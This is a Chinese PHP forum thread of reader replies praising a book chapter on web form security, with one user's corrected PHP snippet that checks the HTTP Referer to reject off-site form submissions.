《GET方式时的URL总长度》:http://blog.vontall.cn/read.php?13
顶 不错。

作者: dwp34998   发布时间: 2007-10-29

其它的不敢说,你提这个原书中估计应该是对的。
书挺贵,我倒还没买。我贴这段是从CSDN的试读上粘过来的,是正确的,所以估计原书应该也是对的。

作者: 涛tall   发布时间: 2007-10-29

我非常喜欢5.9表单安全这一节,因为很多黑客都把表单作为重要的入口去检测网站的漏洞,对于防范来说就很重要了,作者很详细的列举了几个例子,很实用。

作者: b136364111   发布时间: 2007-10-29

超好,

第一到第四章呢

作者: Edward_Sim   发布时间: 2007-10-30

最近都没个更新了,是不是都在家抱着书啃呢

作者: jfcat   发布时间: 2007-11-01

恩,好多,我是莱鸟,上面的看的懂,下面就傻眼了

作者: zhoubuwen209   发布时间: 2007-11-02

每周发布一个新章节啊

作者: PHPChina   发布时间: 2007-11-02

引用:
原帖由 phpcast 于 2007-10-27 21:13 发表


bluetooth_swh,你真细心。
多了这个下划线,脚本也无法正确执行。
感谢你的支持与理解。:)


[ 本帖最后由 jyb21 于 2007-11-2 19:13 编辑 ]

作者: jyb21   发布时间: 2007-11-02

写的太好了。支持一下

作者: yuanjing_119   发布时间: 2007-11-05

写的太好了,里面的安全问题是我以前很少考虑到的。受益菲浅

作者: yuanjing_119   发布时间: 2007-11-05

hao shu`````

作者: huzuteng   发布时间: 2007-11-06

书已经到手,努力学习中……,这本书确实不错~!

作者: jusourt   发布时间: 2007-11-12

不错,继续关注中,让我学习了几个好方法~~~~

作者: jialong520   发布时间: 2007-11-12

作者: 希望收获   发布时间: 2007-11-13

刚接触php,看了杜老师的书受益匪浅,写得真详细,以前学了点asp,对表单的理解没这么深刻。没有服务器验证于客户端验正的概念,对posr于get也没理解

作者: bhdgx   发布时间: 2007-11-13

很好啊,感谢了啊,我还是要坚持把它看完,学会。作者你辛苦了!!!

作者: netstudy   发布时间: 2007-11-13

5.5.1检查表单提交的来源的代码存在http://这样的代码,那么"//"在PHP中被当作注释来看了,所以报错啊,

以下为本人修改的代码仅供参考:

<?php
   $action = $_SERVER['PHP_SELF'];
   if ($_SERVER['REQUEST_METHOD'] == 'POST'){
      $ref = $_SERVER['HTTP_REFERER'];
///把以下三行改下啊 !
          $srv.="http://";
      $srv.=$_SERVER['SERVER_NAME'];
          $srv.=$_SERVER['PHP_SELF'];
      echo "当前来源为:<br><b>$ref</b><br>服务器地址为:<br><b>$srv</b><hr>";
      if (strcmp($srv, $ref) == 0){
          echo "匹配";
      }
      else{
          echo "不允许站外提交";
      }
   }else{
      echo '请提交表单';}
?>

<form action="<?php echo $action;?>" method="post">
<input type="submit" value="提交"/>
</form>


希望和大家一起交流,我感觉这本书很不错啊!!

作者: netstudy   发布时间: 2007-11-13

现在书店有售吗?

作者: xfsong   发布时间: 2007-11-13

www.china-pub.com
或 卓越网(免费送货)

作者: fjchenq   发布时间: 2007-11-13

支持一下

作者: jefsun   发布时间: 2007-11-14

我刚刚接触php,感觉语法上和c语言还是蛮象的,看了这篇文章,感觉收获不少,尤其是介绍防止sql注入和服务器端验证的那部分。

作者: liumy601   发布时间: 2007-11-21

超喜欢PHP!

作者: luzhou   发布时间: 2007-11-21

不用说了,确实写得不错,
不过,我猜想,这也是作者的亮点之章,

整本书的某些章节内容还是很一般的。
能有几个亮点章节这也很难得。

作者: professor   发布时间: 2007-11-23

挺不错的,从中学到了很多安全方面的方法

作者: sblack   发布时间: 2008-01-07

高手...厉害..向你学习

作者: yunfeier   发布时间: 2008-01-08

很好....

作者: cbnuisve   发布时间: 2008-01-11

写的很不错,值得一买

作者: dujiangtao   发布时间: 2008-01-14

好东西!!

作者: freezyye   发布时间: 2008-01-14

$action = $_SERVER['PHP_SELF'];
   if ($_SERVER['REQUEST_METHOD'] == 'POST'){
      $ref = $_SERVER['HTTP_REFERER'];
      $srv = [url=http://{$_SERVER[]http://{$_SERVER['SERVER_NAME']}$action[/url];      echo "当前来源为:
$ref
服务器地址为:
$srv";
      if (strcmp($srv, $ref) == 0){
          echo "匹配";
      }
      else{
          echo "不允许站外提交";
      }
   }else{
      echo '请提交表单';}
?>

<FORM action="" method=post>

我有一个问题,程序中
红色的语句不会被注释掉吗?

作者: shumon85   发布时间: 2008-01-23

讲的好详尽。。。。

作者: 树叶冷了   发布时间: 2008-03-08

很好

作者: gaoyongxin   发布时间: 2008-03-08

好东西啊  打算要买本了

作者: henfeng   发布时间: 2008-03-26

受益不少,谢谢楼主分享

作者: sugarfree   发布时间: 2008-04-12

很好的文章!收藏了!谢谢

作者: phpspy   发布时间: 2008-06-19

呵呵 一定是杜江老师写的书里面的内容

作者: 261622648   发布时间: 2008-07-20

sdfsdfdsfd

作者: kakashi5240   发布时间: 2008-08-06

热门下载

更多